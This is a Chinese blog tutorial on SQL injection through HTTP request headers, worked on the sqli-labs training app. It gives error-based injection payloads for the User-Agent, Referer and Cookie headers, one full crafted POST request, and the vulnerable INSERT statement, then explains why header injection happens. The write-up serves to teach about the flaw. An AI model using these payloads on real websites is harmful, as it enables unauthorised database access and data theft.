SQL注入之HTTP请求头注入

Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。

一、实验 sqli-lab

1. User-Agent注入

  • 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent

703d0c6f-0f55-4500-a971-b9d0cf652954

  • 输入不合法数据报错

4aca6065-85d6-43dd-89b0-16a7caa4597a

  • payload:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay

  • 数据包
POST /sqli-labs/Less-18/index.php HTTP/1.1
Host: 10.49.102.86
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
X-Forward-For:
User-Agent:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
Upgrade-Insecure-Requests: 1

submit=Submit&uname=admin&passwd=admin
  • 备注:

该注入是insert语句的注入,完整SQL语句为:

$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
payload有效备注
‘,’‘,’') and updatexml(1,concat(“~”,database(),“~”),1)先闭合insert
’ and updatexml(1,concat(“~”,database(),“~”),1),‘’,‘’)-- clay`后闭合insert

总结:insert类型的SQL注入时,在注入点闭合后就添加要执行的语句,而不是,闭合完整个insert语句后再添加要执行的语句。

2. Referer注入

特点: 返回用户的Referer,可能后端会记录该值

3726faf2-3584-4891-99e5-0bc3efb17fdb

85289be8-628f-49f0-995c-73d63c69c0a2

payload12138' and extractvalue(1,concat("~",database())) ,'') -- clay

b68e69f1-db3f-47c4-bcc6-6cedf52ade72

3. Cookie注入

特点: 返回,后端可能记录User-Agent和Cookie

90f536c0-61f5-4ee1-951b-6954bb5d96bc

把cookie的值删除后:

2597990e-329c-4dae-aed5-35a20e4550ce

2e912a1c-f84b-430c-877f-6d1f431d1194

payload: ' and updatexml(1,concat("~",database(),"~"),1) -- clay

fa799001-4aab-44cc-b85d-cf2f8b3a7b62

二、 HTTP头部注入讲解

一下均为自己的理解,讲的大白话一点,粗体是核心。

原理:

HTTP头部注入产生的核心原因就是,后端存在查询或记录HTTP请求头内容(数据库交互)

实验一:后端记录 User-Agent ,insert 类型的注入

实验二:后端记录 Referer ,insert 类型的注入

实验三:后端查询 cookie ,select 类型的注入

不同的注入类型存在不同的闭合方式,这个一点要注意,除上述闭合类型以外,当搜索框中存在注入时,可能需要%的闭合(模糊查询 like %xxx%)

三、总结

在这里还是再次强调一下SQL注入产生的条件:用户输入的语句带入到数据库执行

  1. 参数可控

  2. 带入到数据库执行

HTTP头部注入也是一模一样,用户可以控制HTTP请求头,后端带入到数据库执行,这两个条件缺一个都不可以!

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值